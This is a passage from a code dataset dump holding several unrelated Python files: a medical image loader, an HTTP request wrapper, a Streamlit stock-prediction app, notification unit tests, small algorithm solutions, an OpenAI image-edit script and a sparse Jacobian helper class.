os.path.splitext(self.frame.iloc[idx, 0])\n # print(extension)\n image = self.image_loader(img_path, extension)\n # print(image)\n label = int(self.frame.iloc[idx, 1])\n if self.transform is not None:\n image = self.transform(image)\n sample = {'image': image, 'label': label, 'img_name': img_name}\n return sample\n\n def image_loader(self, img_name, extension):\n if extension == '.JPG':\n # print('读取jpg')\n return self.read_jpg(img_name)\n elif extension == '.jpg':\n # print('读取jpg')\n return self.read_jpg(img_name)\n elif extension == '.DCM':\n # print('读取dcm')\n return self.read_dcm(img_name)\n elif extension == '.dcm':\n # print('读取dcm')\n return self.read_dcm(img_name)\n elif extension == '.Bmp':\n # print('读取Bmp')\n return self.read_bmp(img_name)\n elif extension == '.png':\n return self.read_png(img_name)\n\n def read_jpg(self, img_name):\n return Image.open(img_name)\n\n def read_dcm(self, img_name):\n ds = sitk.ReadImage(img_name)\n img_array = sitk.GetArrayFromImage(ds)\n img_bitmap = Image.fromarray(img_array[0])\n return img_bitmap\n\n def read_bmp(self, img_name):\n return Image.open(img_name)\n\n def read_png(self, img_name):\n return Image.open(img_name)\n\n\nif __name__ == '__main__':\n tf = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor()\n ])\n dataset = GallbladderDataset(\n csv_file='../../../dataset/final_train_cl/siggraph17/label_contain_empty/label_contain_empty_all.csv',\n root_dir='../../../dataset/final_train_cl/siggraph17',\n transform=tf\n )\n dataloader = DataLoader(dataset=dataset, batch_size=int(len(dataset) * 0.1), shuffle=False, num_workers=4)\n for item in dataloader:\n images = item['image']\n images = images.numpy()\n mean = np.mean(images, axis=(0, 2, 3))\n std = np.std(images, axis=(0, 2, 3))\n break\n print(mean, std)\n","repo_name":"youngyzzZ/Sonographic-Gallbladder-Images-for-BA-Diagnosis","sub_path":"src/gallbladder_dataset.py","file_name":"gallbladder_dataset.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"28646976294","text":"import json\n\nfrom urllib.parse import urlencode as _urlencode\nfrom .utils import is_pyodide_context\nfrom abc import abstractmethod\n\nif is_pyodide_context():\n from js import console, fetch, FormData\n from pyodide.ffi import to_js\n from config import BASE_URL\nelse:\n import requests\n from requests.sessions import cookiejar_from_dict\n\nfrom .logger import Logging\n\n\nclass Request:\n COOKIES = {}\n\n def __init__(self, method: str, url: str, credentials: bool = False, headers: dict = None,\n data: dict = None) -> None:\n self._status = None\n self._result = None\n\n self._method = method.upper()\n self._data = None\n self._credentials = credentials\n\n if data:\n if method == \"GET\":\n url += \"?\" + _urlencode(data)\n else:\n if is_pyodide_context():\n self._data = FormData.new()\n for k, v in data.items():\n self._data.append(k, v)\n else:\n self._data = data\n\n self._headers = headers\n self._url = url\n self._response = None\n\n async def perform(self):\n if is_pyodide_context():\n options = {\"method\": self._method}\n\n if self._headers:\n options.update({\"headers\": to_js(self._headers)})\n\n if self._data:\n options.update({\"body\": to_js(self._data)})\n\n if self._credentials:\n options.update({\"credentials\": 'include'})\n\n self._response = await fetch(self._url, **options)\n self._status = self._response.status\n else:\n kwargs = {\"headers\": self._headers}\n if self._method == \"POST\":\n kwargs.update({\"data\": self._data})\n\n try:\n if self._credentials:\n kwargs.update({\"cookies\": self.COOKIES})\n except AttributeError:\n Logging.error(\"You need to set an cookie.\")\n\n self._response = requests.request(self._method, self._url, **kwargs)\n self._status = self._response.status_code\n\n async def json(self):\n if not self._response:\n return None\n\n if is_pyodide_context():\n return json.loads(await self._response.text())\n\n return self._response.json()\n\n async def text(self):\n if is_pyodide_context():\n return await self._response.text\n\n return self._response.text\n\n async def blob(self):\n if is_pyodide_context():\n return await self._response.blob()\n\n return self._response.content\n\n @staticmethod\n async def get(*args, **kwargs):\n _request = Request(\"GET\", *args, **kwargs)\n await _request.perform()\n return _request\n\n @staticmethod\n async def post(*args, **kwargs):\n _request = Request(\"POST\", *args, **kwargs)\n await _request.perform()\n\n return _request\n\n @staticmethod\n async def put(*args, **kwargs):\n _request = Request(\"PUT\", *args, **kwargs)\n await _request.perform()\n\n return _request\n\n @staticmethod\n async def delete(*args, **kwargs):\n _request = Request(\"DELETE\", *args, **kwargs)\n await _request.perform()\n\n return _request\n\n @staticmethod\n async def patch(*args, **kwargs):\n _request = Request(\"PATCH\", *args, **kwargs)\n await _request.perform()\n\n return _request\n","repo_name":"viur-framework/viur-cli","sub_path":"src/viur_cli/scriptor/scriptor/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"30349705944","text":"import os\nfrom tkinter import *\nfrom tkinter.ttk import Style\nfrom matplotlib import image\nfrom pandas_profiling import ProfileReport\nimport streamlit as st\nfrom streamlit_option_menu import option_menu\nimport numpy as np\nimport pandas as pd\nfrom pyexpat import model\nimport matplotlib.pyplot as plt\nimport pandas_datareader as data\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.models import load_model\nimport yfinance as yf\nfrom fbprophet import Prophet\nfrom fbprophet.plot import plot_plotly\nfrom plotly import graph_objs as go\nimport base64\n\n\n# 1. Page tab config\n\nst.set_page_config(\n page_title=\"Home_page\",\n page_icon=\"📈\",\n)\n\n\n# 2. Menuabar/Navigation bar\n\nst.markdown('<link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css\" integrity=\"sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm\" crossorigin=\"anonymous\">', unsafe_allow_html=True)\nst.markdown(\"\"\"\n<nav class=\"navbar fixed top navbar-expand-lg navbar-dark\", style=\"background-color: #FF5733;\">\n <a class=\"navbar-brand\" href=\"https://finance.yahoo.com/\">Yahoo Finance</a>\n <div class=\"navbar fixed top navbar-expand-lg navbar-dark\" id=\"navbarNav\">\n <ul class=\"navbar-nav\"> \n </div>\n</nav>\n\"\"\", unsafe_allow_html=True)\n\n\n# 3. Program to add image\n@st.experimental_memo\ndef get_img_as_base64(file):\n with open(file, \"rb\") as f:\n data = f.read()\n return base64.b64encode(data).decode()\n\n\nimg = get_img_as_base64(\"image.jpg\")\n\n\n#4. sidebar background/Page Background\n\npage_bg_img = f\"\"\"\n<style>\n[data-testid=\"stSidebar\"]>div:first-child{{\nbackground-image:url(\"data:image/png;base64,{img}\");\nbackground-position:center;}}\n\n[data-testid=\"stAppViewContainer\"]{{\nbackground-image:url(https://c1.wallpaperflare.com/path/787/792/907/abstract-art-abstract-art-painting-2561f1d754ccf645b4cbf9602bafbf43.jpg);\nbackground-size: cover;}}\n\n[data-testid=\"stHeader\"]{{\n background-color:rgba(0,0,0,0);\n}}\n\n[data-testid=\"st.Toolbar]{{\nright: 2rem;\n}}\n\n</style>\n\"\"\"\nst.markdown(page_bg_img, unsafe_allow_html=True)\n\n\n# 5. App Title.\nst.title('📈Stock Commodity Crypto Prediction')\n\n\n# 6. Slidebar design(size) code\nst.markdown(\n \"\"\"\n <style>\n [data-testid=\"stSidebar\"][aria-expanded=\"false\"] > div:first-child {\n width: 500px;\n }\n [data-testid=\"stSidebar\"][aria-expanded=\"false\"] > div:first-child {\n width: 500px;\n margin-left: -500px;\n }\n </style>\n \"\"\",\n unsafe_allow_html=True,\n)\n\n# 7. sidebar program\n\nst.sidebar.subheader('**👈Query parameter**')\ndate = st.sidebar.date_input(\"Enter the start date\")\nstart_date = date\ndate = st.sidebar.date_input(\"Enter the end date\")\nend_date = date\ntext = st.write('#### Date from', start_date, 'to', end_date)\n\nuser_input = st.sidebar.text_input('Enter Stock Ticker')\nticker_symbol = st.write(\"#### Stock Ticker = \", user_input)\n\ntry:\n def load_data(user_input):\n data = yf.download(user_input, start_date, end_date)\n data.reset_index(inplace=True)\n return data\n\n if (user_input != 0):\n df_load_state = st.write(\"#### Loading the data...\")\n df = load_data(user_input)\n df_load_state = st.write(\"#### Data Loading -----------> Done!\")\n # tickerData=yf.Ticker(tickerS)\n st.subheader(\"Data\")\n st.write(df.tail())\n st.subheader(\"Summery data\")\n st.write(df.describe())\n\nexcept:\n e = RuntimeError(\n 'This is exception of type RuntimeError\\nTicker Not Provided')\n print('Ticker Not Provided')\n st.exception(e)\n\n# 8. pandas profiling \n\n# try:\n# if (1 == 1):\n# directory = \"./\"\n\n# files_in_directory = os.listdir(directory)\n# filtered_files = [\n# file for file in files_in_directory if file.endswith(\".html\")]\n# for file in filtered_files:\n# path_to_file = os.path.join(directory, file)\n# os.remove(path_to_file)\n\n# prof = ProfileReport(df)\n# prof.to_file(output_file=user_input+\".html\")\n# else:\n# pass\n# except:\n# e = FileExistsError(\"File already exist error\")\n# st.exception(e)\n\n# 9. Closing price line chart with slider(first graph)\n\nst.subheader('Closing price VS Time Chart')\ntry:\n if (len(df) != 0):\n def plot_data():\n fig = go.Figure()\n fig.add_trace(go.Scatter(\n x=df['Date'], y=df['Close'], name='stock_close'))\n fig.layout.update(title_text=\"Time series data\",\n xaxis_rangeslider_visible=True)\n st.plotly_chart(fig)\n\n plot_data()\n else:\n st.write(\"dataframe is not generated to plot the graph\")\n\nexcept:\n e = ModuleNotFoundError(\"module is not found\")\n st.exception(e)\n\n\n# 10. Closing price VS 100 DMA and 200 DMA line chart with slider(second graph)\n \nst.subheader('Closing Price VS Time Chart with 100MA & 200MA')\n\ntry:\n if (len(df) != 0):\n def plot_data2():\n ma1 = df.Close.rolling(100).mean()\n ma2 = df.Close.rolling(200).mean()\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=df['Date'], y=ma1, name='100 Day MA'))\n fig.add_trace(go.Scatter(x=df['Date'], y=ma2, name='200 Day MA'))\n fig.add_trace(go.Scatter(\n x=df['Date'], y=df['Close'], name='Origional'))\n fig.layout.update(\n title_text=\"100 Day and 200 Day moving averages chart\", xaxis_rangeslider_visible=True)\n st.plotly_chart(fig)\n\n plot_data2()\n else:\n st.write(\"dataframe is not generated to plot the graph\")\nexcept:\n e = ModuleNotFoundError(\"module is not found\")\n st.exception(e)\n\n\n# 11. spliting data into trainging and testing\ntry:\n if (df.shape[0] != 0):\n data_training = pd.DataFrame(df['Close'][0:int(len(df)*0.70)])\n data_testing = pd.DataFrame(\n df['Close'][int(len(df)*0.70):int(len(df))])\n\n scaler = MinMaxScaler(feature_range=(0, 1))\n data_training_array = scaler.fit_transform(data_training)\n\n# 12. Creating x_train y_train dataset after spliting data into training and testing\n \n x_train = []\n y_train = []\n\n for i in range(100, data_training_array.shape[0]):\n x_train.append(data_training_array[i-100:i])\n y_train.append(data_training_array[i, 0])\n\n x_train, y_train = np.array(x_train), np.array(y_train)\n\n past_days = data_training.tail(100)\n final_df = past_days.append(data_testing, ignore_index=True)\n input_data = scaler.fit_transform(final_df)\nexcept:\n er = NameError('name \\'df\\' is not defined')\n st.exception(er)\n\n# 13. Creating x_test y_test dataset after spliting data into training and testing\n\ntry:\n x_test = []\n y_test = []\n if (len(input_data) != 0):\n for i in range(100, input_data.shape[0]):\n x_test.append(input_data[i-100:i])\n y_test.append(input_data[i, 0])\n\n x_test, y_test = np.array(x_test), np.array(y_test)\n \n # 14 loading LSTM model\n \n model = load_model('keras_model100.h5')\n\n # 15. Making predictions on test data checking the RMSE Performance Matrix\n \n test_predict = model.predict(x_test)\n\n # 16 . Get the root mean squared error of Test data for LSTM model of 100 epochs (RMSE)\n \n st.subheader(\"Model Prediction\")\n st.markdown(\"\"\"- ##### Thumb Rule in Regression Analysis\"\"\")\n st.write(\"It can be said that RMSE values between 0.2 and 0.5 shows that the model can relatively predict the data accurately. In addition, Adjusted R-squared more than 0.75 is a very good value for showing the accuracy. In some cases, Adjusted R-squared of 0.4 or more is acceptable as well.\")\n \n # rmse score value\n rmse = np.sqrt(np.mean(((test_predict - y_test)**2)))\n st.write(\"rmse = \", rmse)\n # accuracy score\n\n\n data_test = y_test\n \n # 17. Transform back to get original values\n \n test_predict = scaler.inverse_transform(test_predict)\n y_test = y_test.reshape(-1, 1)\n y_test = scaler.inverse_transform(y_test)\n\n\nexcept:\n er = NameError(\"name 'input_data' is not defined\")\n st.exception(er)\n\nst.write('---')\n\n# 18. final graph\n\nst.subheader('Predictions vs Origional')\n\ndef flat(lis):\n flatList = []\n # Iterate with outer list\n for element in lis:\n if type(element) is list:\n # Check if type is list than iterate through the sublist\n for item in element:\n flatList.append(item)\n else:\n flatList.append(element)\n return flatList\n\n\ntry:\n if (len(y_test) != 0 and len(test_predict != 0)):\n y1 = y_test.tolist()\n y2 = test_predict.tolist()\n y_test = flat(y1)\n test_predict = flat(y2)\n\n def plot_data3():\n fig = go.Figure()\n fig.add_trace(go.Scatter(\n x=None, y=y_test, name=\"Origional Price\"))\n fig.add_trace(go.Scatter(\n x=None, y=test_predict, name=\"Predicted Price\"))\n fig.layout.update(\n title_text=\"Origional Vs Predicted Price Chart\", xaxis_rangeslider_visible=True)\n st.plotly_chart(fig)\n\n plot_data3()\nexcept:\n er = ValueError('Input could not be cast to an at-least-1D NumPy array')\n st.exception(er)\n\n\n# 19. getting last 100 days record\n\ntry:\n data_test = pd.DataFrame(data_test, columns=['Data_test'])\n x_input = data_test.tail(100).values.reshape(1, -1)\n # Creating the list of last 100 data\n temp_input = list(x_input)\n temp_input = temp_input[0].tolist()\n\n# 20. Predicting next 30 days price suing the current data\n\n lst_output = []\n n_steps = 100\n i = 0\n while (i < 30):\n\n if (len(temp_input) > 100):\n # print(temp_input)\n x_input = np.array(temp_input[1:])\n #print(\"{} day input {}\".format(i,x_input))\n x_input = x_input.reshape(1, -1)\n x_input = x_input.reshape((1, n_steps, 1))\n # print(x_input)\n yhat = model.predict(x_input, verbose=0)\n #print(\"{} day output {}\".format(i,yhat))\n temp_input.extend(yhat[0].tolist())\n temp_input = temp_input[1:]\n # print(temp_input)\n lst_output.extend(yhat.tolist())\n i = i+1\n else:\n x_input = x_input.reshape((1, n_steps, 1))\n yhat = model.predict(x_input, verbose=0)\n # print(yhat[0])\n temp_input.extend(yhat[0].tolist())\n # print(len(temp_input))\n lst_output.extend(yhat.tolist())\n i = i+1\n\nexcept:\n er = NameError(\"name 'input_data' is not defined\")\n st.exception(er)\n\n# 21. Creating a dummy plane to plot graph one after another\ndf1 = df['Close']\nscaler = MinMaxScaler(feature_range=(0, 1))\ndf1 = scaler.fit_transform(np.array(df1).reshape(-1, 1))\n\nst.subheader('prediction of next 30 days price on basis of last 100 day cloing price')\n\nday_new = np.arange(1, 101)\nday_pred = np.arange(101, 131)\n\nfig1 = plt.figure(figsize=(12, 6))\nplt.ylabel(\"Price\")\nplt.xlabel(\"Time\")\nplt.plot(day_new, scaler.inverse_transform((df1[(len(df1)-100):])))\nplt.plot(day_pred, scaler.inverse_transform(lst_output))\nst.pyplot(fig1)\n\ndf2 = df1.tolist()\ndf2.extend(lst_output)\n\n# Creating final data for plotting\nfinal_graph = scaler.inverse_transform(df2).tolist()\n\n# 22. Plotting final results with predicted value after 30 Days\nst.subheader('merging of next 30 day predicted value with all data value')\n\nfig3 = plt.figure(figsize=(12, 6))\nplt.plot(final_graph,)\nplt.ylabel(\"Price\")\nplt.xlabel(\"Time\")\nplt.title(\"{0} prediction of next 30 Day price in INR\".format('stock_symbol'))\nplt.axhline(y=final_graph[len(final_graph)-1], color='red', linestyle=':',\n label='NEXT 30D: {0}'.format(round(float(*final_graph[len(final_graph)-1]), 2)))\nplt.legend()\nst.pyplot(fig3)\n\n# 24. Project submitted by student name\ncol1, col2, col3 = st.columns(3)\nwith col1:\n pass\nwith col2:\n pass\nwith col3:\n st.markdown('''#### Made with :heart: by ''')\n st.markdown(\"\"\"\n - ##### 👩🏻‍💻[Shital hande](https://www.youtube.com/)\n - ##### 🧑🏻‍💻[Ram Dandale](https://www.youtube.com/)\n - ##### 🧑🏻‍💻[Pradip Mali](https://www.youtube.com/)\n - ##### 🧑🏻‍💻[Deepak Mavaskar](https://www.youtube.com/)\"\"\")\n","repo_name":"pradipmff/realtime-Priceprediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37750490435","text":"\"\"\"\n Module with tests for the success notification implementation\n author(s): Parul Laul (parul.laul@ww.com)\n\n\"\"\"\n\nimport os\nimport unittest\nimport unittest.mock as mock\n\nfrom primrose.data_object import DataObject\nfrom primrose.node_factory import NodeFactory\nfrom primrose.base.reader import AbstractReader\nfrom primrose.configuration.configuration import Configuration\nfrom primrose.notifications.success_notification import (\n get_client_params,\n ClientNotification,\n)\n\n\nconfig_dict = {\n \"metadata\": {\n \"section_registry\": [\"initialize\", \"cleanup_config\"],\n \"notify_on_error\": {\n \"client\": \"SlackClient\",\n \"channel\": \"some-channel\",\n \"member_id\": None,\n \"token\": \"some-token\",\n },\n },\n \"implementation_config\": {\n \"initialize\": {\n \"start_notification\": {\n \"class\": \"ClientNotification\",\n \"client\": \"SlackClient\",\n \"channel\": \"some-channel\",\n \"message\": \"starting job...\",\n \"member_id\": \"USomeUserID\",\n \"token\": \"some-token\",\n \"destinations\": [\"notification\"],\n }\n },\n \"cleanup_config\": {\n \"notification\": {\n \"class\": \"ClientNotification\",\n \"client\": \"SlackClient\",\n \"channel\": \"some-channel\",\n \"message\": \"TEST SUCCESS!\",\n \"member_id\": \"USomeUserID\",\n \"token\": \"some-token\",\n }\n },\n },\n}\n\n\nconfig_dict_node_message = {\n \"metadata\": {\n \"section_registry\": [\"reader_config\", \"cleanup_config\"],\n \"notify_on_error\": {\n \"client\": \"SlackClient\",\n \"channel\": \"some-channel\",\n \"member_id\": None,\n \"token\": \"some-token\",\n },\n },\n \"implementation_config\": {\n \"reader_config\": {\n \"test_node\": {\n \"class\": \"SlackDataMock\",\n \"destinations\": [\"node_notification\"],\n }\n },\n \"cleanup_config\": {\n \"node_notification\": {\n \"class\": \"ClientNotification\",\n \"client\": \"SlackClient\",\n \"channel\": \"some-channel\",\n \"message\": \"TEST SUCCESS!\",\n \"member_id\": \"USomeUserID\",\n \"token\": \"some-token\",\n \"use_configuration_file_message\": False,\n \"node_name\": \"test_node\",\n \"message_key\": \"test\",\n }\n },\n },\n}\n\n\nclass SlackDataMock(AbstractReader):\n def __init__(self, configuration, instance_name):\n super().__init__(configuration, instance_name)\n\n @staticmethod\n def necessary_config(node_config):\n return set()\n\n def run(self, data_object):\n\n data_object.add(self, \"Node Success!\", \"test\")\n\n return data_object\n\n\nclass TestClientNotification(unittest.TestCase):\n \"\"\"Tests for success_notification.py\"\"\"\n\n def test_get_client_params(self):\n os.environ[\"SLACKCLIENT_CHANNEL\"] = \"test-channel\"\n os.environ[\"SLACKCLIENT_MEMBER_ID\"] = \"test-member_id\"\n os.environ[\"SLACKCLIENT_TOKEN\"] = \"test-token\"\n\n params = {\"client\": \"SlackClient\", \"message\": \"starting job...\"}\n\n ans = get_client_params(params)\n expected = {\n \"client\": \"SlackClient\",\n \"channel\": \"test-channel\",\n \"message\": \"starting job...\",\n \"member_id\": \"test-member_id\",\n \"token\": \"test-token\",\n }\n self.assertDictEqual(ans, expected)\n\n def test_necessary_config(self):\n self.assertEqual(\n first=ClientNotification.necessary_config(node_config={}),\n second={\"client\", \"token\"},\n )\n\n def test_run(self):\n\n path = \"primrose.notifications.success_notification.get_notification_client\"\n with mock.patch(path) as get_client_mock:\n get_client_mock.return_value = mock.Mock()\n\n configuration = Configuration(\n None, is_dict_config=True, dict_config=config_dict\n )\n success_instance = ClientNotification(\n configuration=configuration, instance_name=\"notification\"\n )\n success_instance.client = get_client_mock.return_value\n\n success_instance.run(\"some_data_object\")\n\n success_instance.client.post_message.assert_called_once_with(\n message=\"TEST SUCCESS!\"\n )\n\n def test_run_node(self):\n\n path = \"primrose.notifications.success_notification.get_notification_client\"\n with mock.patch(path) as get_client_mock:\n get_client_mock.return_value = mock.Mock()\n\n NodeFactory().register(\"SlackDataMock\", SlackDataMock)\n\n config = Configuration(\n None, is_dict_config=True, dict_config=config_dict_node_message\n )\n data_object = DataObject(config)\n\n reader = SlackDataMock(config, \"test_node\")\n data_object = reader.run(data_object)\n\n success_instance = ClientNotification(\n configuration=config,\n instance_name=\"node_notification\",\n )\n success_instance.client = get_client_mock.return_value\n\n success_instance.run(data_object)\n\n success_instance.client.post_message.assert_called_once_with(\n message=\"Node Success!\"\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ww-tech/primrose","sub_path":"test/test_success_notification.py","file_name":"test_success_notification.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"61"} +{"seq_id":"23858978178","text":"import math\nn, k = map(int, input().split())\narr = list(map(int, input().split()))\n\npos = 0\nneg = 0\n\nfor a in arr[:k]:\n #print(a)\n if a > 0:\n pos += a\n else:\n neg += a\n#print(pos, neg)\nwp = pos\nwn = neg\nans = math.inf\nfor i, a in enumerate(arr[k:]):\n if a > 0:\n pos += a\n wp += a\n else:\n neg += a\n wn += a\n b = arr[i]\n #print(b, a)\n if b > 0:\n wp -= b\n else:\n wn -= b\n ans = min(ans, wp, -wn)\n #print(i, a, ans, wp, wn)\nprint(max(pos - ans, pos + neg, 0))","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/AtCoder/Contiguous Repainting.py","file_name":"Contiguous Repainting.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24450861504","text":"def prime_range(a,b):\n\tprint(\"The prime numbers in given range are as follows : \")\n\tfor x in range(a,b+1):\n\t\tif x>1:\n\t\t\tfor y in range(2,x):\n\t\t\t\tif (x%y)==0:\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(x)\ndef main():\n\tlb=input(\"Enter the lower bound\")\n\tub=input(\"Enter the upper bound\")\n\tprime_range(lb,ub)\t\n\nif __name__=='__main__':\n\tmain()\n\n","repo_name":"ujwalb45/homework","sub_path":"prime_in_range.py","file_name":"prime_in_range.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13082157608","text":"import os\nimport openai\nimport requests\nimport shutil\nfrom io import BytesIO\nfrom PIL import Image\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n \ndef paint(prompt):\n try:\n # Read the image file from disk and resize it\n source_image = Image.open(\"19.png\")\n width, height = 1024, 1024\n source_image = source_image.resize((width, height))\n\n # Convert the image to a BytesIO object\n byte_stream = BytesIO()\n source_image.save(byte_stream, format='PNG')\n source_byte_array = byte_stream.getvalue()\n \n # Read the image file from disk and resize it\n mask_image = Image.open(\"19_mask.png\")\n width, height = 1024, 1024\n mask_image = mask_image.resize((width, height))\n\n # Convert the image to a BytesIO object\n byte_stream = BytesIO()\n mask_image.save(byte_stream, format='PNG')\n mask_byte_array = byte_stream.getvalue()\n \n response = openai.Image.create_edit(\n image=source_byte_array,\n mask=mask_byte_array,\n prompt=prompt,\n n=1,\n size=\"1024x1024\"\n )\n except Exception as e:\n print(e)\n return e\n\n return response\n\nprint(\"请说出你想添加的事物,AI会自动生成图片并提供下载地址\")\n\nwhile True:\n user_input = input(\"> \")\n if user_input.lower() in [\"bye\", \"goodbye\", \"exit\"]:\n print(\"Goodbye!\")\n break\n \n response = paint(user_input)\n \n print(\"生成的图片地址如下: \\n%s\" % response[\"data\"][0][\"url\"])\n \n image = requests.get(response[\"data\"][0][\"url\"], stream=True) # 获取URL的响应,并启用流模式\n with open('image.png', 'wb') as out_file: # 以二进制模式打开文件\n shutil.copyfileobj(image.raw, out_file) # 将响应内容写入文件中\n del image # 删除响应对象\n","repo_name":"glt3953/AI-Study","sub_path":"AIPaint/AIImageDataEdit.py","file_name":"AIImageDataEdit.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23539874231","text":"import sys\n\n\ndef t_case():\n inp = input().split()\n s, k = list(inp[0]), int(inp[1])\n n = len(s)\n ans = 0\n for i in range(n - k + 1):\n if s[i] == '+':\n continue\n ans += 1\n for j in range(i, i + k):\n s[j] = '+' if s[j] == '-' else '-'\n\n if '-' in s:\n print('IMPOSSIBLE')\n else:\n print(ans)\n\n\ndef main():\n with open('a.in', 'r') as fin:\n with open('a.out', 'w') as fout:\n sys.stdout = fout\n sys.stdin = fin\n n = int(input())\n for i in range(n):\n print(f'Case #{i+1}: ', end='')\n t_case()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1244.py","file_name":"1244.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23027714315","text":"'''\n a class to organize jacobians of vector valued functions that provides finite differencing in case no exact\n derivatives are available!\n'''\n\n__author__ = ('Sascha Baumanns', 'Tom Streubel', 'Christian Strohm', 'Caren Tischendorf') # alphabetical order of surnames\n__credits__ = ('Lennart Jansen',) # alphabetical order of surnames\n\n\n'''\n imports\n =======\n'''\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\nfrom paso.util.types_and_errors import Vec_t, CsrMatrix_t\n\nfrom typing import Callable, Optional, List, Tuple, Set, Union, Sequence\n\n\n'''\n body\n ====\n'''\nSparsity_pattern_t = Sequence[Sequence[int]] # list of lists, where the i-th list consists of all variable-indices on which f_i actually depeds on; see example below\n\nCS_pattern_t = Sequence[Vec_t] # i.e. (indices, indptr) in the sense of scipy.sparse.csr_matrix or csc_matrix\n\n\nclass jac_csr(object):\n\n def __init__(self,\n fun : Callable[[Vec_t], Vec_t],\n shape : Tuple[int, int],\n dfun : Optional[Callable[[Vec_t], Vec_t]] = None,\n indices : Optional[Vec_t] = None,\n indptr : Optional[Vec_t] = None,\n always_to_scipy : Optional[bool] = True):\n self.fun : Callable[[Vec_t], Vec_t] = fun\n self.dfun : Optional[Callable[[Vec_t], Vec_t]] = dfun # assuming that self.fun(x0) updates self.dfun, too\n\n self.precision : float = 1.0e-8\n\n self.shape : Tuple[int, int] = shape\n\n self.indices : Optional[Vec_t] = indices\n self.indptr : Optional[Vec_t] = indptr\n self.data : Optional[Vec_t] = None\n\n self.dirs : List[Vec_t] = []\n\n self.always_to_scipy : bool = always_to_scipy\n\n if not ((self.indices is None) or (self.indptr is None)): self.update_directions()\n\n def assign_sparsity_pattern(self, sparsity_pattern : Optional[Sparsity_pattern_t] = None):\n if sparsity_pattern is None:\n self.indices = np.array([j for _ in range(self.dim_f) for j in range(self.dim_x)])\n\n indptr : List[int] = [0]\n for i in range(self.dim_f): indptr.append(indptr[-1] + self.dim_x)\n self.indptr = np.array(indptr)\n else:\n self.indices = np.array([entry for row in sparsity_pattern for entry in row])\n\n indptr : List[int] = [0]\n for row in sparsity_pattern: indptr.append(indptr[-1] + len(row))\n self.indptr = np.array(indptr)\n\n self.update_directions()\n\n @property\n def dim_f(self): return self.shape[0]\n\n @property\n def dim_x(self): return self.shape[1]\n\n def f_depends_on_x(self, i : int): return self.indices[self.indptr[i]:self.indptr[i + 1]]\n\n def row_indices(self, i : int): return self.f_depends_on_x(i = i)\n\n def row(self, i : int): return self.data[self.indptr[i]:self.indptr[i + 1]]\n\n def _get_input_to_output_relation(self) -> List[Set[int]]:\n x_contributes_to_f : List[Set[int]] = [set() for j in range(self.dim_x)]\n\n for i in range(self.dim_f):\n for j in self.f_depends_on_x(i): x_contributes_to_f[j].add(i)\n\n return x_contributes_to_f\n\n def update_directions(self):\n x_contributes_to_f : List[Union[None, Set[int]]] = self._get_input_to_output_relation()\n\n i_of_dirs : List[Set[int]] = []\n j_of_dirs : List[Set[int]] = []\n for j in range(self.dim_x):\n for idx_dir, i_of_dir in enumerate(i_of_dirs):\n if len(x_contributes_to_f[j].intersection(i_of_dir)) == 0:\n i_of_dirs[idx_dir] = i_of_dir.union(x_contributes_to_f[j]) # disjunctive union\n j_of_dirs[idx_dir].add(j)\n break\n else:\n i_of_dirs.append(x_contributes_to_f[j])\n j_of_dirs.append({j})\n x_contributes_to_f[j] = None # free memory\n del x_contributes_to_f # free memory\n del i_of_dirs # free memory\n\n self.dirs = []\n for idx_dir, j_of_dir in enumerate(j_of_dirs):\n dir_new = np.zeros(shape = (self.dim_x,))\n for j in j_of_dir: dir_new[j] = 1.0\n self.dirs.append(dir_new)\n del j_of_dirs # free memory\n\n self.data = np.zeros(shape = (self.indptr[-1],))\n\n @staticmethod\n def finite_diff(fun : Callable[[Vec_t], Vec_t],\n x0 : Vec_t,\n direction : Vec_t,\n h : float = 1.0e-8,\n f0 : Optional[Vec_t] = None) -> Tuple[Vec_t, Vec_t]:\n if f0 is None: f0 = fun(x0)\n return (fun(x0 + h*direction) - f0)/h, f0\n\n def __call__(self, x0 : Vec_t) -> CsrMatrix_t:\n f0 = self.fun(x0)\n for idx_dir, direction in enumerate(self.dirs):\n if self.dfun is None: directional_derivative, _ = self.finite_diff(fun = self.fun, x0 = x0,\n direction = direction,\n h = self.precision, f0 = f0)\n else: directional_derivative = self.dfun(direction)\n for i in range(self.dim_f):\n for idx_j, j in enumerate(self.f_depends_on_x(i)):\n if direction[j] != 0.0: self.row(i)[idx_j] = directional_derivative[i]\n\n if self.always_to_scipy: return csr_matrix((self.data, self.indices, self.indptr), shape = self.shape)\n return ('csr', self.data, self.indices, self.indptr, self.shape)\n\n\nif __name__ == '__main__':\n\n test = jac_csr(lambda x: np.array([x[0] + x[1] + x[6],\n x[1] + x[2] + x[6],\n 